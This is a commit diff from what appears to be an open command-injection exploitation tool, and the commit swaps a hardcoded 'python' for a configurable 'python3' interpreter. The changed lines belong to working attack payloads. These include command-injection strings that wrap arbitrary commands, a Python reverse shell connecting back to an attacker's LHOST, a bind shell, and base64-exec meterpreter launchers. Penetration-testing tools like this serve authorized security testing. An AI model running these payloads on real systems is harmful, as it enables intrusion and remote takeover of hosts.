Skip to content

Commit b2eb21c

Browse files
committed
Minor update regarding setting "python3" as default target's python interpreter
1 parent 0c6ba87 commit b2eb21c

File tree

5 files changed

+15
-12
lines changed

5 files changed

+15
-12
lines changed

src/core/injections/results_based/techniques/classic/cb_payloads.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -91,13 +91,13 @@ def decision_alter_shell(separator, TAG, randv1, randv2):
9191
else:
9292
if settings.SKIP_CALC:
9393
payload = (separator +
94-
"python -c \"print'" + TAG +
94+
settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG +
9595
TAG +
9696
TAG + "'\""
9797
)
9898
else:
9999
payload = (separator +
100-
"python -c \"print'" + TAG +
100+
settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG +
101101
"'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" +
102102
TAG + "'%2B'" +
103103
TAG + "'\""
@@ -161,11 +161,11 @@ def cmd_execution_alter_shell(separator, TAG, cmd):
161161

162162
if settings.USE_BACKTICKS:
163163
payload = (separator +
164-
"python -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'`" + cmd + "`" + TAG + "'%2B'" + TAG + "'\""
164+
settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'`" + cmd + "`" + TAG + "'%2B'" + TAG + "'\""
165165
)
166166
else:
167167
payload = (separator +
168-
"python -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'$(" + cmd + ")'%2B'" + TAG + "'%2B'" + TAG + "'\""
168+
settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'$(" + cmd + ")'%2B'" + TAG + "'%2B'" + TAG + "'\""
169169
)
170170
return payload
171171

src/core/injections/results_based/techniques/eval_based/eb_payloads.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -120,7 +120,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2):
120120
)
121121

122122
else:
123-
python_payload = "python -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\""
123+
python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\""
124124
if settings.SKIP_CALC:
125125
if separator == "":
126126
payload = ("print(`echo " + TAG + "`." +

src/core/shells/bind_tcp.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -318,7 +318,7 @@ def other_bind_shells(separator):
318318

319319
# Python-bind-shell
320320
elif other_shell == '4':
321-
other_shell = "python -c 'import pty,os,socket%0d" \
321+
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import pty,os,socket%0d" \
322322
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \
323323
"s.bind((\"\"," + settings.LPORT + "))%0d" \
324324
"s.listen(1)%0d" \
@@ -424,7 +424,7 @@ def other_bind_shells(separator):
424424
set_python_working_dir()
425425
other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
426426
else:
427-
other_shell = "python -c \"exec('" + data + "'.decode('base64'))\""
427+
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c \"exec('" + data + "'.decode('base64'))\""
428428
msf_launch_msg(output)
429429
except:
430430
print(settings.SINGLE_WHITESPACE)

src/core/shells/reverse_tcp.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -323,7 +323,7 @@ def other_reverse_shells(separator):
323323

324324
# Python-reverse-shell
325325
elif other_shell == '4':
326-
other_shell = "python -c 'import socket,subprocess,os%0d" \
326+
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import socket,subprocess,os%0d" \
327327
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \
328328
"s.connect((\"" + settings.LHOST + "\"," + settings.LPORT + "))%0d" \
329329
"os.dup2(s.fileno(),0)%0d" \
@@ -421,7 +421,7 @@ def other_reverse_shells(separator):
421421
set_python_working_dir()
422422
other_shell = settings.WIN_PYTHON_DIR + data
423423
else:
424-
other_shell = "python" + data
424+
other_shell = settings.LINUX_PYTHON_INTERPRETER + data
425425
break
426426

427427
# Python-reverse-shell (meterpreter)
@@ -462,7 +462,7 @@ def other_reverse_shells(separator):
462462
set_python_working_dir()
463463
other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
464464
else:
465-
other_shell = "python -c \"exec('" + data + "'.decode('base64'))\""
465+
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c \"exec('" + data + "'.decode('base64'))\""
466466
msf_launch_msg(output)
467467
except:
468468
print(settings.SINGLE_WHITESPACE)
@@ -638,7 +638,7 @@ def other_reverse_shells(separator):
638638
set_python_working_dir()
639639
other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
640640
else:
641-
other_shell = "python -c \"exec('" + data + "'.decode('base64'))\""
641+
other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c \"exec('" + data + "'.decode('base64'))\""
642642
msf_launch_msg(output)
643643
break
644644
elif web_delivery == '2':

src/utils/settings.py

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -216,7 +216,7 @@ def sys_argv_errors():
216216
DESCRIPTION = "The command injection exploiter"
217217
AUTHOR = "Anastasios Stasinopoulos"
218218
VERSION_NUM = "3.3"
219-
REVISION = "43"
219+
REVISION = "44"
220220
STABLE_RELEASE = False
221221
if STABLE_RELEASE:
222222
VERSION = "v" + VERSION_NUM + "-stable"
@@ -808,6 +808,9 @@ def sys_argv_errors():
808808
WIN_PYTHON_DIR = "C:\\Python27\\python.exe"
809809
USER_DEFINED_PYTHON_DIR = False
810810

811+
# Default target host's python interpreter
812+
LINUX_PYTHON_INTERPRETER = "python3"
813+
811814
# Windows PHP installed directory.
812815
WIN_PHP_DIR = "C:\\xampp\\php\\php.exe"
813816
USER_DEFINED_PHP_DIR = False

0 commit comments

Comments
 (0)